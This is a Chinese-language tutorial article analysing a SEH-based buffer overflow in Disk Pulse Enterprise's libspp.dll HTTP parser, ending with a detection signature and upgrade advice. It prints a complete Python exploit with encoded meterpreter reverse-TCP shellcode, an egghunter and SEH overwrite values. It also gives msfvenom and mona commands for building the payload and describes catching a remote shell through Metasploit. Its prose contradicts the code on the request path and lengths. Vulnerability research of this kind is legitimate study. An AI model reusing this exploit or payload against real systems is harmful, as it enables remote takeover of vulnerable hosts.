您好,登錄后才能下訂單哦!
小編今天帶大家了解如何實(shí)現(xiàn)Disk Pulse Eneterprise Window應(yīng)用程序的漏洞分析,文中知識(shí)點(diǎn)介紹的非常詳細(xì)。覺(jué)得有幫助的朋友可以跟著小編一起瀏覽文章的內(nèi)容,希望能夠幫助更多想解決這個(gè)問(wèn)題的朋友找到問(wèn)題的答案,下面跟著小編一起深入學(xué)習(xí)“如何實(shí)現(xiàn)Disk Pulse Eneterprise Window應(yīng)用程序的漏洞分析”的知識(shí)吧。
Disk Pulse Eneterprise是一款監(jiān)視磁盤變化的軟件,它可以通過(guò)一個(gè)管理端口9120或者web管理窗口80對(duì)軟件進(jìn)行連接管理,從而監(jiān)視磁盤的變化情況。在Disk Pulse Eneterprise中有一個(gè)動(dòng)態(tài)鏈接庫(kù)libspp.dll ,其中有一些負(fù)責(zé)HTTP操作的函數(shù),問(wèn)題就出現(xiàn)在這個(gè)動(dòng)態(tài)鏈接庫(kù)中,在處理后數(shù)據(jù)時(shí),由于對(duì)于后數(shù)據(jù)沒(méi)有進(jìn)行嚴(yán)格的長(zhǎng)度控制,導(dǎo)致在執(zhí)行獲取后數(shù)據(jù)時(shí)向無(wú)效內(nèi)存拷貝數(shù)據(jù)造成緩沖區(qū)溢出,觸發(fā)SEH異常行為處理,最后控制EIP,執(zhí)行任意代碼。
軟件下載鏈接:https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe)
漏洞披露地址:https://[www.exploit-db.com/exploits/40452](http://www.exploit-db.com/exploits/40452)
windows 7 x86:系統(tǒng)環(huán)境
IDA pro:靜態(tài)分析工具
免疫調(diào)試器:漏洞分析專用調(diào)試器
WinDbg的:漏洞調(diào)試器
先簡(jiǎn)單看一下POC,是一個(gè)比較綜合的緩沖區(qū)溢出漏洞。其中涉及了SEH結(jié)構(gòu)化異常處理程序,以及egghunter技術(shù)。
結(jié)構(gòu)化異常處理(SEH)是一種用于處理硬件和軟件異常的窗口機(jī)制,熟悉編程的人可能熟悉異常處理結(jié)構(gòu)。它通常表示為嘗試/除和的try / catch代碼塊。
簡(jiǎn)單來(lái)說(shuō)就是一種尋址技術(shù),通過(guò)設(shè)計(jì)標(biāo)記,然后去跳轉(zhuǎn)到另一個(gè)標(biāo)記所在的位置,執(zhí)行的shellcode。當(dāng)緩沖區(qū)太小不能放下我們的shellcode的存放,這時(shí)就需要egghunter技術(shù)。
首先,我們先分析一下POC
#!/usr/bin/python import socket import sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.46.160',80)) #msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest buf = "" buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x92\xa7\xae\xd7\x5b\x29" buf += "\xc9\xb1\x56\x31\x53\x18\x83\xc3\x04\x03\x53\x86\x45" buf += "\x5b\x2b\x4e\x0b\xa4\xd4\x8e\x6c\x2c\x31\xbf\xac\x4a" buf += "\x31\xef\x1c\x18\x17\x03\xd6\x4c\x8c\x90\x9a\x58\xa3" buf += "\x11\x10\xbf\x8a\xa2\x09\x83\x8d\x20\x50\xd0\x6d\x19" buf += "\x9b\x25\x6f\x5e\xc6\xc4\x3d\x37\x8c\x7b\xd2\x3c\xd8" buf += "\x47\x59\x0e\xcc\xcf\xbe\xc6\xef\xfe\x10\x5d\xb6\x20" buf += "\x92\xb2\xc2\x68\x8c\xd7\xef\x23\x27\x23\x9b\xb5\xe1" buf += "\x7a\x64\x19\xcc\xb3\x97\x63\x08\x73\x48\x16\x60\x80" buf += "\xf5\x21\xb7\xfb\x21\xa7\x2c\x5b\xa1\x1f\x89\x5a\x66" buf += "\xf9\x5a\x50\xc3\x8d\x05\x74\xd2\x42\x3e\x80\x5f\x65" buf += "\x91\x01\x1b\x42\x35\x4a\xff\xeb\x6c\x36\xae\x14\x6e" buf += "\x99\x0f\xb1\xe4\x37\x5b\xc8\xa6\x5f\xa8\xe1\x58\x9f" buf += "\xa6\x72\x2a\xad\x69\x29\xa4\x9d\xe2\xf7\x33\x94\xe5" buf += "\x07\xeb\x1e\x65\xf6\x0c\x5e\xaf\x3d\x58\x0e\xc7\x94" buf += "\xe1\xc5\x17\x18\x34\x73\x12\x8e\x77\x2b\x0c\xe5\x10" buf += "\x29\x51\xe8\xbc\xa4\xb7\x5a\x6d\xe6\x67\x1b\xdd\x46" buf += "\xd8\xf3\x37\x49\x07\xe3\x37\x80\x20\x8e\xd7\x7c\x18" buf += "\x27\x41\x25\xd2\xd6\x8e\xf0\x9e\xd9\x05\xf0\x5f\x97" buf += "\xed\x71\x4c\xc0\x89\x79\x8c\x11\x3c\x79\xe6\x15\x96" buf += "\x2e\x9e\x17\xcf\x18\x01\xe7\x3a\x1b\x46\x17\xbb\x2d" buf += "\x3c\x2e\x29\x11\x2a\x4f\xbd\x91\xaa\x19\xd7\x91\xc2" buf += "\xfd\x83\xc2\xf7\x01\x1e\x77\xa4\x97\xa1\x21\x18\x3f" buf += "\xca\xcf\x47\x77\x55\x30\xa2\x0b\x92\xce\x30\x24\x3b" buf += "\xa6\xca\x74\xbb\x36\xa1\x74\xeb\x5e\x3e\x5a\x04\xae" buf += "\xbf\x71\x4d\xa6\x4a\x14\x3f\x57\x4a\x3d\xe1\xc9\x4b" buf += "\xb2\x3a\xfa\x36\xbb\xbd\xfb\xc6\xd5\xd9\xfc\xc6\xd9" buf += "\xdf\xc1\x10\xe0\x95\x04\xa1\x57\xa5\x33\x84\xfe\x2c" buf += "\x3b\x9a\x01\x65" #pop pop ret 1001A333 nseh = "\xEB\x0B\x90\x90" seh = "\x33\xA3\x01\x10" egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" evil = "POST /admin HTTP/1.1\r\n" evil += "Host: 192.168.46.160\r\n" evil += "User-Agent: Mozilla/5.0\r\n" evil += "Connection: close\r\n" evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" evil += "Accept-Language: en-us,en;q=0.5\r\n" evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" evil += "Keep-Alive: 300\r\n" evil += "Proxy-Connection: keep-alive\r\n" evil += "Content-Type: application/x-www-form-urlencoded\r\n" evil += "Content-Length: 21000\r\n\r\n" evil += "\x41" * 12292 #subtract/add for payload evil += "w00tw00t" evil += "\x90" * 20 evil += buf evil += "\x90" * 50 evil += "\x42" * 1554 evil += nseh evil += seh evil += "\x90" * 20 evil += egghunter evil += "\x90" * 7000 print 'Sending evil buffer...' s.send(evil) print 'Payload Sent!' s.close()
攻擊者構(gòu)建了http請(qǐng)求包,可以看出post請(qǐng)求,url是/ login,content-length:17000。發(fā)送了12292個(gè)“\ x41”字節(jié),然后發(fā)送了“w00tw00t”8個(gè)字節(jié),之后發(fā)送了20個(gè) “\ X90” NOP字節(jié),之后發(fā)送的buf,再加50個(gè)NOP,1614個(gè) “\ X42”,接下來(lái)就是SEH的異常處理機(jī)制(不太懂的同學(xué)可以去深入了解一下),接下來(lái)是egghunter執(zhí)行代碼,大概意思就是去跳轉(zhuǎn)到含有雙重 “w00t” 的地方執(zhí)行。剩下就是對(duì)緩沖區(qū)的填充。
接下來(lái)我們使用文DBG打開(kāi)帶有漏洞版本的應(yīng)用程序。
發(fā)送有效載荷,觸發(fā)漏洞。輸入克,返回地址被覆蓋,KB查看堆棧調(diào)用。
這里調(diào)用了libspp.dll的SCA_HttpParser的GetNextString函數(shù),接下來(lái)程序進(jìn)入SHE異常行為處理,通過(guò)覆蓋SEH Handler打到代碼執(zhí)行。
打開(kāi)IDA,分析10092822處,在libspp中SCA_HttpParse類負(fù)責(zé)處理HTTP的一些相關(guān)操作,其中有一個(gè)函數(shù)名為ExtractPostData負(fù)責(zé)處理后數(shù)據(jù),在這個(gè)函數(shù)入口下斷點(diǎn)。這個(gè)函數(shù)的入口地址為10092510
發(fā)送緩沖區(qū)全用一個(gè)代替的POC,觸發(fā)漏洞,如下圖所示:
查看傳參情況,后期數(shù)據(jù)作為第二個(gè)參數(shù)傳入,注意是完整傳入。
這里繼續(xù)單步跟蹤,到達(dá)之前說(shuō)到的GetNetString函數(shù)。
這個(gè)函數(shù)會(huì)做一件事情,就是將第一個(gè)參數(shù),也就是后期數(shù)據(jù)進(jìn)行拆分,將每一部分分離出來(lái)作為后續(xù)處理,單步步過(guò),可以看到第一次進(jìn)入GetNextString之后,拆分了第一個(gè)數(shù)據(jù)。
第一次分離出來(lái)了用戶名,接下來(lái),再次進(jìn)入GetNextString開(kāi)始拆分第二個(gè)字符串,這個(gè)拆分過(guò)程會(huì)執(zhí)行一系列的拷貝操作。
這個(gè)LOC塊負(fù)責(zé)拷貝,其中10092822地址就是觸發(fā)漏洞的關(guān)鍵位置,ESI是待拷貝的緩沖區(qū)首地址,EDX是拷貝長(zhǎng)度,CL是拷貝內(nèi)容,這里是一個(gè)字一個(gè)字拷貝的。
因此,當(dāng)超過(guò)開(kāi)辟緩沖區(qū)大小的時(shí)候,就會(huì)引發(fā)向無(wú)效地址拷貝的問(wèn)題。
看一下EDX + ESI的值,可以看到,后面已經(jīng)超過(guò)了開(kāi)辟緩沖區(qū)的大小,后面就是無(wú)效緩沖區(qū)了。
之后看一下ECX的值
CL就是將ECX的低地址一個(gè)字節(jié)一個(gè)字節(jié)拷貝,這里由于向無(wú)效地址拷貝,引發(fā)SEH異常處理,最后達(dá)到代碼執(zhí)行,來(lái)看一下偽代碼。
再來(lái)看一下GetNextString函數(shù)的偽代碼。
首先發(fā)送poc,觸發(fā)漏洞,使用免疫調(diào)試器,查看她鏈,被成功覆蓋。
我們需要找到SHE的偏移量。
利用蒙娜麗莎命令生成20000個(gè)字符
!mona pattern_create 20000
運(yùn)行完在C:\日志\ FTPServer的\ pattern.txt中找到。
重啟程序,將其加入到腳本中的BUF中運(yùn)行
使用蒙娜麗莎命令來(lái)尋找SEH偏移量
!mona findmsp
查看蒙娜麗莎的控制臺(tái)輸出,找到它的描述SHE偏移量的部分。
偏移量是14292。
接下來(lái),要尋找pop pop ret的地址
使用!mona seh
打開(kāi)seh.txt日志查找指向POP POP RET序列的代碼塊地址。
設(shè)置的shellcode里面的
nseh =“\ xEB \ x0B \ x90 \ x90”seh =“\ x33 \ xA3 \ x01 \ x10”
利用msf生成通用的shellcode,命令如下
msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b'\ x00 \ x0a \ x0d \ x26'-f python -smallest
在POC中寫入的shellcode,再寫入過(guò)程中,要根據(jù)BUF的長(zhǎng)度,修改后面偏移量的值。
重啟程序,打開(kāi)的Metasploit
選擇開(kāi)發(fā)模式
輸入命令,設(shè)置參數(shù)
發(fā)送poc,觸發(fā)漏洞,查看metasploit反應(yīng),輸入shell,可以連到到存在漏洞主機(jī)的shell。
請(qǐng)求方式:POST
請(qǐng)求路徑:/登錄
漏洞特征:POST +任意路徑+內(nèi)容長(zhǎng)度:> 14292+ | eb | +任意字節(jié)+ | 90 90 |
升級(jí)應(yīng)用程序,對(duì)應(yīng)用程序打補(bǔ)丁或者下載新版本的應(yīng)用程序,或者裝載殺毒軟件。
下載地址:https://www.diskpulse.com/downloads.html
感謝大家的閱讀,以上就是“如何實(shí)現(xiàn)Disk Pulse Eneterprise Window應(yīng)用程序的漏洞分析”的全部?jī)?nèi)容了,學(xué)會(huì)的朋友趕緊操作起來(lái)吧。相信億速云小編一定會(huì)給大家?guī)?lái)更優(yōu)質(zhì)的文章。謝謝大家對(duì)億速云網(wǎng)站的支持!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。